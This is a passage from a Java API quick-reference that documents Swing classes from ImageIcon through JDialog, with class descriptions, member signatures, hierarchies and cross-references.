 | public ImageIcon (String filename); |
 | public ImageIcon (java.net.URL location); |
 | public ImageIcon (byte[ ] imageData); |
 | public ImageIcon (String filename, String description); |
 | public ImageIcon (java.net.URL location, String description); |
 | public ImageIcon (byte[ ] imageData, String description); |
 | public ImageIcon (java.awt.Image image, String description); |
// | Protected Constants
 | protected static final Component component ; |
 | protected static final java.awt.MediaTracker tracker ; |
// | Property Accessor Methods (by property name)
 | public String getDescription (); | default:null
 | public void setDescription (String description); |
 | public int getIconHeight (); | Implements:Icon default:-1
 | public int getIconWidth (); | Implements:Icon default:-1
 | public java.awt.Image getImage (); | default:null
 | public void setImage (java.awt.Image image); |
 | public int getImageLoadStatus (); | default:0
 | public java.awt.image.ImageObserver getImageObserver (); | default:null
 | public void setImageObserver (java.awt.image.ImageObserver observer); |
// | Methods Implementing Icon
 | public int getIconHeight (); | default:-1
 | public int getIconWidth (); | default:-1
 | public void paintIcon (Component c, java.awt.Graphics g, int x, int y); | synchronized
// | Protected Instance Methods
 | protected void loadImage (java.awt.Image image); |
}

Hierarchy: Object-->ImageIcon(Icon,Serializable)

JApplet | Java 1.2
javax.swing | serializable accessible swing component bean container

This class is the Swing version of its superclass, java.applet.Applet. It creates a JRootPane as its sole child, and, like JFrame, JDialog, and similar classes, it implements RootPaneContainer. Calling add() or setLayout() on a JApplet raises an exception. Instead, call getContentPane() to obtain a reference to an internal container on which you can call add() and setLayout(). The default layout manager for this content pane is a BorderLayout. Because JApplet is a RootPaneContainer, it can display a Swing menubar. Use setJMenuBar() and getJMenuBar().

public class JApplet extends java.applet.Applet implements Accessible, RootPaneContainer {
// | Public Constructors
 | public JApplet (); |
// | Inner Classes
 | ; |
// | Property Accessor Methods (by property name)
 | public AccessibleContext getAccessibleContext (); | Implements:Accessible default:AccessibleJApplet
 | public Container getContentPane (); | Implements:RootPaneContainer default:JPanel
 | public void setContentPane (Container contentPane); | Implements:RootPaneContainer hidden
 | public Component getGlassPane (); | Implements:RootPaneContainer default:JPanel
 | public void setGlassPane (Component glassPane); | Implements:RootPaneContainer hidden
 | public JMenuBar getJMenuBar (); | default:null
 | public void setJMenuBar (JMenuBar menuBar); | hidden
 | public JLayeredPane getLayeredPane (); | Implements:RootPaneContainer
 | public void setLayeredPane (JLayeredPane layeredPane); | Implements:RootPaneContainer hidden
 | public void setLayout (java.awt.LayoutManager manager); | Overrides:Container
 | public JRootPane getRootPane (); | Implements:RootPaneContainer
// | Methods Implementing Accessible
 | public AccessibleContext getAccessibleContext (); | default:AccessibleJApplet
// | Methods Implementing RootPaneContainer
 | public Container getContentPane (); | default:JPanel
 | public Component getGlassPane (); | default:JPanel
 | public JLayeredPane getLayeredPane (); |
 | public JRootPane getRootPane (); |
 | public void setContentPane (Container contentPane); | hidden
 | public void setGlassPane (Component glassPane); | hidden
 | public void setLayeredPane (JLayeredPane layeredPane); | hidden
// | Public Methods Overriding Container
 | public void remove (Component comp); |
 | public void update (java.awt.Graphics g); |
// | Protected Methods Overriding Container
 | protected void addImpl (Component comp, Object constraints, int index); |
 | protected String paramString (); |
// | Protected Methods Overriding Component
 | protected void processKeyEvent (java.awt.event.KeyEvent e); |
// | Protected Instance Methods
 | protected JRootPane createRootPane (); |
 | protected boolean isRootPaneCheckingEnabled (); |
 | protected void setRootPane (JRootPane root); | hidden
 | protected void setRootPaneCheckingEnabled (boolean enabled); |
// | Protected Instance Fields
 | protected AccessibleContext accessibleContext ; |
 | protected JRootPane rootPane ; |
 | protected boolean rootPaneCheckingEnabled ; |
}

Hierarchy: Object-->Component(java.awt.image.ImageObserver,java.awt.MenuContainer,Serializable)-->Container-->java.awt.Panel-->java.applet.Applet-->JApplet(Accessible,RootPaneContainer)

JButton | Java 1.2
javax.swing | serializable accessible(action,value) swing component

This class implements a push button. The constructors allow a textual label and/or an icon to be specified for the button. isDefaultButton() checks to see if the button is the default button registered with the setDefaultButton() method of JRootPane. A JButton generates a java.awt.event.ActionEvent when clicked. Most of the interesting properties and methods of JButton are implemented by AbstractButton. The default JButton model is DefaultButtonModel.

public class JButton extends AbstractButton implements Accessible {
// | Public Constructors
 | public JButton (); |
 | public JButton (Icon icon); |
 | public JButton (String text); |
 | public JButton (String text, Icon icon); |
// | Inner Classes
 | ; |
// | Property Accessor Methods (by property name)
 | public AccessibleContext getAccessibleContext (); | Implements:Accessible default:AccessibleJButton expert
 | public boolean isDefaultButton (); | default:false
 | public boolean isDefaultCapable (); | default:true
 | public void setDefaultCapable (boolean defaultCapable); | bound
 | public String getUIClassID (); | Overrides:JComponent default:"ButtonUI" expert
// | Methods Implementing Accessible
 | public AccessibleContext getAccessibleContext (); | default:AccessibleJButton expert
// | Public Methods Overriding AbstractButton
 | public void updateUI (); |
// | Protected Methods Overriding AbstractButton
 | protected String paramString (); |
}

Hierarchy: Object-->Component(java.awt.image.ImageObserver,java.awt.MenuContainer,Serializable)-->Container-->JComponent(Serializable)-->AbstractButton(java.awt.ItemSelectable,SwingConstants)-->JButton(Accessible)

Passed To: JRootPane.setDefaultButton(), JToolBar.createActionChangeListener()

Returned By: JRootPane.getDefaultButton(), JToolBar.add()

Type Of: JRootPane.defaultButton

JCheckBox | Java 1.2
javax.swing | serializable accessible(action,value) swing component

This class implements a check button: a toggle button with default graphics that indicate that the button does not have mutually exclusive behavior. Because JCheckBox supplies its own default and selected icons, you typically do not use the constructors that take Icon arguments. The initial selection state of a JCheckBox can be specified in the call to the constructor. The state can also be set with setSelected() and queried with isSelected(). Use JRadioButton and ButtonGroup instead of JCheckBox if you want to display a set of mutually exclusive choices. The default JCheckBox model is JToggleButton.ToggleButtonModel. Note that java.awt.Checkbox is spelled with a lowercase b, while JCheckBox has an uppercase B.

public class JCheckBox extends JToggleButton implements Accessible {
// | Public Constructors
 | public JCheckBox (); |
 | public JCheckBox (Icon icon); |
 | public JCheckBox (String text); |
 | public JCheckBox (String text, Icon icon); |
 | public JCheckBox (Icon icon, boolean selected); |
 | public JCheckBox (String text, boolean selected); |
 | public JCheckBox (String text, Icon icon, boolean selected); |
// | Inner Classes
 | ; |
// | Property Accessor Methods (by property name)
 | public AccessibleContext getAccessibleContext (); | Implements:Accessible default:AccessibleJCheckBox expert
 | public String getUIClassID (); | Overrides:JToggleButton default:"CheckBoxUI" expert
// | Methods Implementing Accessible
 | public AccessibleContext getAccessibleContext (); | default:AccessibleJCheckBox expert
// | Public Methods Overriding JToggleButton
 | public void updateUI (); |
// | Protected Methods Overriding JToggleButton
 | protected String paramString (); |
}

Hierarchy: Object-->Component(java.awt.image.ImageObserver,java.awt.MenuContainer,Serializable)-->Container-->JComponent(Serializable)-->AbstractButton(java.awt.ItemSelectable,SwingConstants)-->JToggleButton(Accessible)-->JCheckBox(Accessible)

Passed To: DefaultCellEditor.DefaultCellEditor()

JCheckBoxMenuItem | Java 1.2
javax.swing | serializable accessible(action,value) swing component

This class implements a check button that appears within a pulldown or popup menu. Its use is similar to that of JCheckBox. Use isSelected() to query the selection state of the menu item and setSelected() to select or deselect the item. For menu items with mutually-exclusive selection behavior, use JRadioButtonMenuItem instead. The default JCheckBoxMenuItem model is JToggleButton.ToggleButtonModel.

public class JCheckBoxMenuItem extends JMenuItem implements Accessible, SwingConstants {
// | Public Constructors
 | public JCheckBoxMenuItem (); |
 | public JCheckBoxMenuItem (String text); |
 | public JCheckBoxMenuItem (Icon icon); |
 | public JCheckBoxMenuItem (String text, Icon icon); |
 | public JCheckBoxMenuItem (String text, boolean b); |
 | public JCheckBoxMenuItem (String text, Icon icon, boolean b); |
// | Inner Classes
 | ; |
// | Property Accessor Methods (by property name)
 | public AccessibleContext getAccessibleContext (); | Implements:Accessible default:AccessibleJCheckBoxMenuItem
 | public Object[ ] getSelectedObjects (); | Overrides:AbstractButton synchronized default:null
 | public boolean getState (); | default:false
 | public void setState (boolean b); | synchronized hidden
 | public String getUIClassID (); | Overrides:JMenuItem
// | Methods Implementing Accessible
 | public AccessibleContext getAccessibleContext (); | default:AccessibleJCheckBoxMenuItem
// | Protected Methods Overriding JMenuItem
 | protected String paramString (); |
// | Public Methods Overriding JComponent
 | public void requestFocus (); | empty
}

Hierarchy: Object-->Component(java.awt.image.ImageObserver,java.awt.MenuContainer,Serializable)-->Container-->JComponent(Serializable)-->AbstractButton(java.awt.ItemSelectable,SwingConstants)-->JMenuItem(Accessible,MenuElement)-->JCheckBoxMenuItem(Accessible,SwingConstants)

JColorChooser | Java 1.2
javax.swing | serializable accessible swing component

This component allows the user to select a color. The easiest way to use it is to call the static showDialog() method, specifying a parent Component for the dialog, a title, and an initial default color. The method creates a JColorChooser in a modal JDialog and blocks until the user dismisses the dialog. If the user dismisses the dialog with the OK button, the method returns the selected color. If the user dismisses the dialog with the Cancel button, or in any other way, showDialog() returns null.

If you need more control over the color selection dialog, you can call createDialog(). This static method creates a JDialog that contains the JColorChooser component you specify. It allows you to specify java.awt.event.ActionListener objects to respond to the OK and Cancel buttons. It does not automatically display the dialog for you, nor does it wait for the user to make a selection.

You can also create and manipulate a JColorChooser on your own, placing it in any dialog or other container. You can register a java.beans.PropertyChangeListener object (with the inherited addPropertyChangeListener() method) to receive notification when the color property changes.

JColorChooser is highly customizable. You can specify how colors are selected by specifying a custom subclass of javax.swing.colorchooser.AbstractColorChooserPanel to addChooserPanel() or setChooserPanels(). And you can customize the way that colors are previewed by specifying an appropriate component to setPreviewPanel(). The default JColorChooser model is a javax.swing.colorchooser.DefaultColorSelectionModel.

public class JColorChooser extends JComponent implements Accessible {
// | Public Constructors
 | public JColorChooser (); |
 | public JColorChooser (java.awt.Color initialColor); |
 | public JColorChooser (javax.swing.colorchooser.ColorSelectionModel model); |
// | Public Constants
 | public static final String CHOOSER_PANELS_PROPERTY ; | ="chooserPanels"
 | public static final String PREVIEW_PANEL_PROPERTY ; | ="previewPanel"
 | public static final String SELECTION_MODEL_PROPERTY ; | ="selectionModel"
// | Inner Classes
 | ; |
// | Public Class Methods
 | public static JDialog createDialog (Component c, String title, boolean modal, JColorChooser chooserPane, java.awt.event.ActionListener okListener, java.awt.event.ActionListener cancelListener); |
 | public static java.awt.Color showDialog (Component component, String title, java.awt.Color initialColor); |
// | Property Accessor Methods (by property name)
 | public AccessibleContext getAccessibleContext (); | Implements:Accessible default:AccessibleJColorChooser
 | public javax.swing.colorchooser.AbstractColorChooserPanel[ ] getChooserPanels (); |
 | public void setChooserPanels (javax.swing.colorchooser.AbstractColorChooserPanel[ ] panels); | bound hidden
 | public java.awt.Color getColor (); |
 | public void setColor (int c); |
 | public void setColor (java.awt.Color color); |
 | public void setColor (int r, int g, int b); |
 | public JComponent getPreviewPanel (); | default:null
 | public void setPreviewPanel (JComponent preview); | bound hidden
 | public javax.swing.colorchooser.ColorSelectionModel getSelectionModel (); | default:DefaultColorSelectionModel
 | public void setSelectionModel (javax.swing.colorchooser.ColorSelectionModel newModel); | bound hidden
 | public javax.swing.plaf.ColorChooserUI getUI (); |
 | public void setUI (javax.swing.plaf.ColorChooserUI ui); | bound hidden
 | public String getUIClassID (); | Overrides:JComponent default:"ColorChooserUI"
// | Public Instance Methods
 | public void addChooserPanel (javax.swing.colorchooser.AbstractColorChooserPanel panel); |
 | public javax.swing.colorchooser.AbstractColorChooserPanel removeChooserPanel (javax.swing.colorchooser.AbstractColorChooserPanel panel); |
// | Methods Implementing Accessible
 | public AccessibleContext getAccessibleContext (); | default:AccessibleJColorChooser
// | Public Methods Overriding JComponent
 | public void updateUI (); |
// | Protected Methods Overriding JComponent
 | protected String paramString (); |
// | Protected Instance Fields
 | protected AccessibleContext accessibleContext ; |
}

Hierarchy: Object-->Component(java.awt.image.ImageObserver,java.awt.MenuContainer,Serializable)-->Container-->JComponent(Serializable)-->JColorChooser(Accessible)

Passed To: JColorChooser.createDialog(), javax.swing.colorchooser.AbstractColorChooserPanel.{installChooserPanel(), uninstallChooserPanel()}

JComboBox | Java 1.2
javax.swing | serializable accessible(action) swing component

This class implements a combo box: a combination of a popup list of selectable items and an item editor that displays the selected value and, optionally, allows the user to enter an item that does not appear on the list. The editor is usually a text field, but a JComboBox can be configured to use another component as its ComboBoxEditor.

Typically, you create a JComboBox by passing a Vector or array of objects to a constructor. Alternatively, you can create an empty JComboBox and add items to it with addItem(). You can set and query the selection with setSelectedItem(), setSelectedIndex(), getSelectedItem(), and getSelectedIndex(). The JComboBox generates a java.awt.event.ActionEvent when the selection changes. The default JComboBox model is a private implementation of the ComboBoxModel interface. If you want to implement keyboard shortcuts for a JComboBox, implement the JComboBox.KeySelectionManager interface and pass an instance to the setKeySelectionManager() method.

public class JComboBox extends JComponent implements Accessible, java.awt.event.ActionListener, java.awt.ItemSelectable, javax.swing.event.ListDataListener {
// | Public Constructors
 | public JComboBox (); |
 | public JComboBox (java.util.Vector items); |
 | public JComboBox (ComboBoxModel aModel); |
 | public JComboBox (Object[ ] items); |
// | Inner Classes
 | ; |
 | ; |
// | Event Registration Methods (by event name)
 | public void addActionListener (java.awt.event.ActionListener l); |
 | public void removeActionListener (java.awt.event.ActionListener l); |
 | public void addItemListener (java.awt.event.ItemListener aListener); | Implements:ItemSelectable
 | public void removeItemListener (java.awt.event.ItemListener aListener); | Implements:ItemSelectable
// | Property Accessor Methods (by property name)
 | public AccessibleContext getAccessibleContext (); | Implements:Accessible default:AccessibleJComboBox
 | public String getActionCommand (); | default:"comboBoxChanged"
 | public void setActionCommand (String aCommand); |
 | public boolean isEditable (); | default:false
 | public void setEditable (boolean aFlag); | preferred
 | public ComboBoxEditor getEditor (); |
 | public void setEditor (ComboBoxEditor anEditor); | expert
 | public boolean isFocusTraversable (); | Overrides:JComponent default:false
 | public int getItemCount (); | default:0
 | public JComboBox.KeySelectionManager getKeySelectionManager (); | default:null
 | public void setKeySelectionManager (JComboBox.KeySelectionManager aManager); | expert
 | public boolean isLightWeightPopupEnabled (); | default:true
 | public void setLightWeightPopupEnabled (boolean aFlag); | expert
 | public int getMaximumRowCount (); | default:8
 | public void setMaximumRowCount (int count); | preferred
 | public ComboBoxModel getModel (); | default:DefaultComboBoxModel
 | public void setModel (ComboBoxModel aModel); | bound
 | public boolean isPopupVisible (); | default:false
 | public void setPopupVisible (boolean v); |
 | public ListCellRenderer getRenderer (); |
 | public void setRenderer (ListCellRenderer aRenderer); | expert
 | public int getSelectedIndex (); | default:-1
 | public void setSelectedIndex (int anIndex); | preferred
 | public Object getSelectedItem (); | default:null
 | public void setSelectedItem (Object anObject); | preferred
 | public Object[ ] getSelectedObjects (); | Implements:ItemSelectable
 | public javax.swing.plaf.ComboBoxUI getUI (); |
 | public void setUI (javax.swing.plaf.ComboBoxUI ui); | expert
 | public String getUIClassID (); | Overrides:JComponent default:"ComboBoxUI"
// | Public Instance Methods
 | public void addItem (Object anObject); |
 | public void configureEditor (ComboBoxEditor anEditor, Object anItem); |
 | public Object getItemAt (int index); |
 | public void hidePopup (); |
 | public void insertItemAt (Object anObject, int index); |
 | public void removeAllItems (); |
 | public void removeItem (Object anObject); |
 | public void removeItemAt (int anIndex); |
 | public boolean selectWithKeyChar (char keyChar); |
 | public void showPopup (); |
// | Methods Implementing Accessible
 | public AccessibleContext getAccessibleContext (); | default:AccessibleJComboBox
// | Methods Implementing ActionListener
 | public void actionPerformed (java.awt.event.ActionEvent e); |
// | Methods Implementing ItemSelectable
 | public void addItemListener (java.awt.event.ItemListener aListener); |
 | public Object[ ] getSelectedObjects (); |
 | public void removeItemListener (java.awt.event.ItemListener aListener); |
// | Methods Implementing ListDataListener
 | public void contentsChanged (javax.swing.event.ListDataEvent e); |
 | public void intervalAdded (javax.swing.event.ListDataEvent e); |
 | public void intervalRemoved (javax.swing.event.ListDataEvent e); |
// | Public Methods Overriding JComponent
 | public void processKeyEvent (java.awt.event.KeyEvent e); |
 | public void setEnabled (boolean b); | preferred
 | public void updateUI (); |
// | Protected Methods Overriding JComponent
 | protected String paramString (); |
// | Protected Instance Methods
 | protected JComboBox.KeySelectionManager createDefaultKeySelectionManager (); |
 | protected void fireActionEvent (); |
 | protected void fireItemStateChanged (java.awt.event.ItemEvent e); |
 | protected void installAncestorListener (); |
 | protected void selectedItemChanged (); |
// | Protected Instance Fields
 | protected String actionCommand ; |
 | protected ComboBoxModel dataModel ; |
 | protected ComboBoxEditor editor ; |
 | protected boolean isEditable ; |
 | protected JComboBox.KeySelectionManager keySelectionManager ; |
 | protected boolean lightWeightPopupEnabled ; |
 | protected int maximumRowCount ; |
 | protected ListCellRenderer renderer ; |
 | protected Object selectedItemReminder ; |
}

Hierarchy: Object-->Component(java.awt.image.ImageObserver,java.awt.MenuContainer,Serializable)-->Container-->JComponent(Serializable)-->JComboBox(Accessible,java.awt.event.ActionListener(java.util.EventListener),java.awt.ItemSelectable,javax.swing.event.ListDataListener(java.util.EventListener))

Passed To: DefaultCellEditor.DefaultCellEditor(), javax.swing.plaf.ComboBoxUI.{isFocusTraversable(), isPopupVisible(), setPopupVisible()}

JComboBox.KeySelectionManager Java 1.2
javax.swing

This interface defines the method that must be implemented to bind characters to items in a JComboBox. Given a character, selectionForKey() should return the index of the item that should be selected or -1 if the character does not correspond to an item in the list.

public abstract static interface JComboBox.KeySelectionManager {
// | Public Instance Methods
 | public abstract int selectionForKey (char aKey, ComboBoxModel aModel);
}

Passed To: JComboBox.setKeySelectionManager()

Returned By: JComboBox.{createDefaultKeySelectionManager(), getKeySelectionManager()}

Type Of: JComboBox.keySelectionManager

JComponent | Java 1.2
javax.swing | serializable swing component

JComponent is the root of the Swing component hierarchy. It inherits the properties and methods of java.awt.Component and java.awt.Container, including such commonly used properties as foreground, background, font, cursor, enabled, and visible.

In addition to these inherited properties, JComponent defines a number of new properties that are commonly used. The border property specifies a Border object that displays a border (or a blank space) around the component. doubleBuffered specifies whether the JComponent should automatically use double-buffering to reduce flickering during redraws. opaque specifies whether the component draws its background or lets its parent' background show through. toolTipText specifies the text to appear in a tooltip when the mouse pointer lingers over the component.

In addition to the standard get/set property accessor methods, JComponent also defines getClientProperty() and putClientProperty(). In effect, every JComponent maintains a hashtable that maps arbitrary property names to values. You can use this to associate arbitrary data with any Swing component. It is also occasionally used to specify properties that are specific to certain look-and-feels.

public abstract class JComponent extends Container implements Serializable {
// | Public Constructors
 | public JComponent (); |
// | Public Constants
 | public static final String TOOL_TIP_TEXT_KEY ; | ="ToolTipText"
 | public static final int UNDEFINED_CONDITION ; | =-1
 | public static final int WHEN_ANCESTOR_OF_FOCUSED_COMPONENT ; | =1
 | public static final int WHEN_FOCUSED ; | =0
 | public static final int WHEN_IN_FOCUSED_WINDOW ; | =2
// | Inner Classes
 | ; |
// | Public Class Methods
 | public static boolean isLightweightComponent (Component c); |
// | Event Registration Methods (by event name)
 | public void addAncestorListener (javax.swing.event.AncestorListener listener); |
 | public void removeAncestorListener (javax.swing.event.AncestorListener listener); |
 | public void addPropertyChangeListener (java.beans.PropertyChangeListener listener); | Overrides:Component synchronized
 | public void removePropertyChangeListener (java.beans.PropertyChangeListener listener); | Overrides:Component synchronized
 | public void addVetoableChangeListener (java.beans.VetoableChangeListener listener); | synchronized
 | public void removeVetoableChangeListener (java.beans.VetoableChangeListener listener); | synchronized
// | Property Accessor Methods (by property name)
 | public AccessibleContext getAccessibleContext (); |
 | public float getAlignmentX (); | Overrides:Container
 | public void setAlignmentX (float alignmentX); |
 | public float getAlignmentY (); | Overrides:Container
 | public void setAlignmentY (float alignmentY); |
 | public boolean getAutoscrolls (); |
 | public void setAutoscrolls (boolean autoscrolls); | expert
 | public void setBackground (java.awt.Color bg); | Overrides:Component bound preferred
 | public javax.swing.border.Border getBorder (); |
 | public void setBorder (javax.swing.border.Border border); | bound preferred
 | public int getDebugGraphicsOptions (); |
 | public void setDebugGraphicsOptions (int debugOptions); | preferred
 | public boolean isDoubleBuffered (); | Overrides:Component
 | public void setDoubleBuffered (boolean aFlag); |
 | public void setEnabled (boolean enabled); | Overrides:Component bound preferred
 | public boolean isFocusCycleRoot (); | constant
 | public boolean isFocusTraversable (); | Overrides:Component
 | public void setForeground (java.awt.Color fg); | Overrides:Component bound preferred
 | public java.awt.Graphics getGraphics (); | Overrides:Component
 | public int getHeight (); | Overrides:Component
 | public java.awt.Insets getInsets (); | Overrides:Container
 | public java.awt.Insets getInsets (java.awt.Insets insets); | expert
 | public boolean isManagingFocus (); | constant
 | public java.awt.Dimension getMaximumSize (); | Overrides:Container
 | public void setMaximumSize (java.awt.Dimension maximumSize); | bound
 | public java.awt.Dimension getMinimumSize (); | Overrides:Container
 | public void setMinimumSize (java.awt.Dimension minimumSize); | bound
 | public Component getNextFocusableComponent (); |
 | public void setNextFocusableComponent (Component aComponent); | expert
 | public boolean isOpaque (); | Overrides:Component
 | public void setOpaque (boolean isOpaque); |
 | public boolean isOptimizedDrawingEnabled (); | constant
 | public boolean isPaintingTile (); |
 | public java.awt.Dimension getPreferredSize (); | Overrides:Container
 | public void setPreferredSize (java.awt.Dimension preferredSize); | bound preferred
 | public KeyStroke[ ] getRegisteredKeyStrokes (); |
 | public boolean isRequestFocusEnabled (); |
 | public void setRequestFocusEnabled (boolean aFlag); | expert
 | public JRootPane getRootPane (); |
 | public String getToolTipText (); |
 | public String getToolTipText (java.awt.event.MouseEvent event); |
 | public void setToolTipText (String text); | preferred
 | public Container getTopLevelAncestor (); |
 | public String getUIClassID (); | expert
 | public boolean isValidateRoot (); | constant
 | public void setVisible (boolean aFlag); | Overrides:Component
 | public java.awt.Rectangle getVisibleRect (); |
 | public int getWidth (); | Overrides:Component
 | public int getX (); | Overrides:Component
 | public int getY (); | Overrides:Component
// | Public Instance Methods
 | public void computeVisibleRect (java.awt.Rectangle visibleRect); |
 | public JToolTip createToolTip (); |
 | public void firePropertyChange (String propertyName, long oldValue, long newValue); |
 | public void firePropertyChange (String propertyName, int oldValue, int newValue); |
 | public void firePropertyChange (String propertyName, boolean oldValue, boolean newValue); |
 | public void firePropertyChange (String propertyName, short oldValue, short newValue); |
 | public void firePropertyChange (String propertyName, char oldValue, char newValue); |
 | public void firePropertyChange (String propertyName, byte oldValue, byte newValue); |
 | public void firePropertyChange (String propertyName, float oldValue, float newValue); |
 | public void firePropertyChange (String propertyName, double oldValue, double newValue); |
 | public java.awt.event.ActionListener getActionForKeyStroke (KeyStroke aKeyStroke); |
 | public final Object getClientProperty (Object key); |
 | public int getConditionForKeyStroke (KeyStroke aKeyStroke); |
 | public java.awt.Point getToolTipLocation (java.awt.event.MouseEvent event); | constant
 | public void grabFocus (); |
 | public void paintImmediately (java.awt.Rectangle r); |
 | public void paintImmediately (int x, int y, int w, int h); |
 | public final void putClientProperty (Object key, Object value); |
 | public void registerKeyboardAction (java.awt.event.ActionListener anAction, KeyStroke aKeyStroke, int aCondition); |
 | public void registerKeyboardAction (java.awt.event.ActionListener anAction, String aCommand, KeyStroke aKeyStroke, int aCondition); |
 | public void repaint (java.awt.Rectangle r); |
 | public boolean requestDefaultFocus (); |
 | public void resetKeyboardActions (); |
 | public void revalidate (); |
 | public void scrollRectToVisible (java.awt.Rectangle aRect); |
 | public void setFont (java.awt.Font font); | bound preferred
 | public void unregisterKeyboardAction (KeyStroke aKeyStroke); |
 | public void updateUI (); | empty
// | Public Methods Overriding Container
 | public void addNotify (); |
 | public void paint (java.awt.Graphics g); |
 | public void removeNotify (); |
 | public void update (java.awt.Graphics g); |
// | Protected Methods Overriding Container
 | protected String paramString (); |
// | Public Methods Overriding Component
 | public void addPropertyChangeListener (String propertyName, java.beans.PropertyChangeListener listener); | synchronized
 | public boolean contains (int x, int y); |
 | public java.awt.Rectangle getBounds (java.awt.Rectangle rv); |
 | public java.awt.Point getLocation (java.awt.Point rv); |
 | public java.awt.Dimension getSize (java.awt.Dimension rv); |
 | public boolean hasFocus (); |
 | public void removePropertyChangeListener (String propertyName, java.beans.PropertyChangeListener listener); | synchronized
 | public void repaint (long tm, int x, int y, int width, int height); |
 | public void requestFocus (); |
 | public void reshape (int x, int y, int w, int h); |
// | Protected Methods Overriding Component
 | protected void firePropertyChange (String propertyName, Object oldValue, Object newValue); |
 | protected void processFocusEvent (java.awt.event.FocusEvent e); |
 | protected void processKeyEvent (java.awt.event.KeyEvent e); |
 | protected void processMouseMotionEvent (java.awt.event.MouseEvent e); |
// | Protected Instance Methods
 | protected void fireVetoableChange (String propertyName, Object oldValue, Object newValue) throws java.beans.PropertyVetoException; |
 | protected java.awt.Graphics getComponentGraphics (java.awt.Graphics g); |
 | protected void paintBorder (java.awt.Graphics g); |
 | protected void paintChildren (java.awt.Graphics g); |
 | protected void paintComponent (java.awt.Graphics g); |
 | protected void processComponentKeyEvent (java.awt.event.KeyEvent e); | empty
 | protected void setUI (javax.swing.plaf.ComponentUI newUI); | bound
// | Protected Instance Fields
 | protected AccessibleContext accessibleContext ; |
 | protected javax.swing.event.EventListenerList listenerList ; |
 | protected transient javax.swing.plaf.ComponentUI ui ; |
}

Hierarchy: Object-->Component(java.awt.image.ImageObserver,java.awt.MenuContainer,Serializable)-->Container-->JComponent(Serializable)

Subclasses: Too many classes to list.

Passed To: Too many methods to list.

Returned By: JColorChooser.getPreviewPanel(), JFileChooser.getAccessory(), JToolTip.getComponent(), javax.swing.colorchooser.ColorChooserComponentFactory.getPreviewPanel(), javax.swing.event.AncestorEvent.getComponent()

Type Of: DefaultCellEditor.editorComponent

JComponent.AccessibleJComponent | Java 1.2
javax.swing | serializable accessible context

This class provides default accessibility support for Swing components. It is typically subclassed by component developers; application programmers never need to use it.

public abstract class JComponent.AccessibleJComponent extends AccessibleContext implements AccessibleComponent, Serializable {
// | Protected Constructors
 | protected AccessibleJComponent (); |
// | Inner Classes
 | ; |
// | Event Registration Methods (by event name)
 | public void addFocusListener (java.awt.event.FocusListener l); | Implements:AccessibleComponent
 | public void removeFocusListener (java.awt.event.FocusListener l); | Implements:AccessibleComponent
 | public void addPropertyChangeListener (java.beans.PropertyChangeListener listener); | Overrides:AccessibleContext
 | public void removePropertyChangeListener (java.beans.PropertyChangeListener listener); | Overrides:AccessibleContext
// | Methods Implementing AccessibleComponent
 | public void addFocusListener (java.awt.event.FocusListener l); |
 | public boolean contains (java.awt.Point p); |
 | public Accessible getAccessibleAt (java.awt.Point p); |
 | public java.awt.Color getBackground (); |
 | public java.awt.Rectangle getBounds (); |
 | public java.awt.Cursor getCursor (); |
 | public java.awt.Font getFont (); |
 | public java.awt.FontMetrics getFontMetrics (java.awt.Font f); |
 | public java.awt.Color getForeground (); |
 | public java.awt.Point getLocation (); |
 | public java.awt.Point getLocationOnScreen (); |
 | public java.awt.Dimension getSize (); |
 | public boolean isEnabled (); |
 | public boolean isFocusTraversable (); |
 | public boolean isShowing (); |
 | public boolean isVisible (); |
 | public void removeFocusListener (java.awt.event.FocusListener l); |
 | public void requestFocus (); |
 | public void setBackground (java.awt.Color c); |
 | public void setBounds (java.awt.Rectangle r); |
 | public void setCursor (java.awt.Cursor cursor); |
 | public void setEnabled (boolean b); |
 | public void setFont (java.awt.Font f); |
 | public void setForeground (java.awt.Color c); |
 | public void setLocation (java.awt.Point p); |
 | public void setSize (java.awt.Dimension d); |
 | public void setVisible (boolean b); |
// | Public Methods Overriding AccessibleContext
 | public Accessible getAccessibleChild (int i); |
 | public int getAccessibleChildrenCount (); |
 | public AccessibleComponent getAccessibleComponent (); |
 | public String getAccessibleDescription (); |
 | public int getAccessibleIndexInParent (); |
 | public String getAccessibleName (); |
 | public Accessible getAccessibleParent (); |
 | public AccessibleRole getAccessibleRole (); |
 | public AccessibleStateSet getAccessibleStateSet (); |
 | public java.util.Locale getLocale (); |
// | Protected Instance Methods
 | protected String getBorderTitle (javax.swing.border.Border b); |
// | Protected Instance Fields
 | protected java.awt.event.ContainerListener accessibleContainerHandler ; |
}

Subclasses: Too many classes to list.

JDesktopPane | Java 1.2
javax.swing | serializable accessible swing component

This class is a container for JInternalFrame windows. It provides window management functionality appropriate for the currently installed look-and-feel.

public class JDesktopPane extends JLayeredPane implements Accessible {
// | Public Constructors
 | public JDesktopPane (); |
// | Inner Classes
 | ; |
// | Property Accessor Methods (by property name)
 | public AccessibleContext getAccessibleContext (); | Implements:Accessible default:AccessibleJDesktopPane
 | public JInternalFrame[ ] getAllFrames (); |
 | public DesktopManager getDesktopManager (); | default:DefaultDesktopManager
 | public void setDesktopManager (DesktopManager d); |
 | public boolean isOpaque (); | Overrides:JComponent constant default:true
 | public javax.swing.plaf.DesktopPaneUI getUI (); |
 | public void setUI (javax.swing.plaf.DesktopPaneUI ui); |
 | public String getUIClassID (); | Overrides:JComponent default:"DesktopPaneUI"
// | Public Instance Methods
 | public JInternalFrame[ ] getAllFramesInLayer (int layer); |
// | Methods Implementing Accessible
 | public AccessibleContext getAccessibleContext (); | default:AccessibleJDesktopPane
// | Protected Methods Overriding JLayeredPane
 | protected String paramString (); |
// | Public Methods Overriding JComponent
 | public void updateUI (); |
}

Hierarchy: Object-->Component(java.awt.image.ImageObserver,java.awt.MenuContainer,Serializable)-->Container-->JComponent(Serializable)-->JLayeredPane(Accessible)-->JDesktopPane(Accessible)

Returned By: JInternalFrame.getDesktopPane(), JInternalFrame.JDesktopIcon.getDesktopPane(), JOptionPane.getDesktopPaneForComponent()

JDialog | Java 1.2
javax.swing | serializable accessible swing component bean container

This class is used to display Swing dialog boxes. Every JDialog component has an automatically created JRootPane as its single child. Components must not be added directly to the JDialog component. Instead, they should be added to the container returned by getContentPane() method. The default layout manager of this content pane is java.awt.BorderLayout. Unlike its java.awt.Dialog superclass, JDialog can display a menubar. Specify one with setJMenuBar(). setDefaultCloseOperation() specifies how the JDialog should behave when the user attempts to close it. The argument should be one of the constants defined by the WindowConstants interface. The default is HIDE_ON_CLOSE. JDialog uses a native window. Use JInternalFrame for lightweight dialogs.

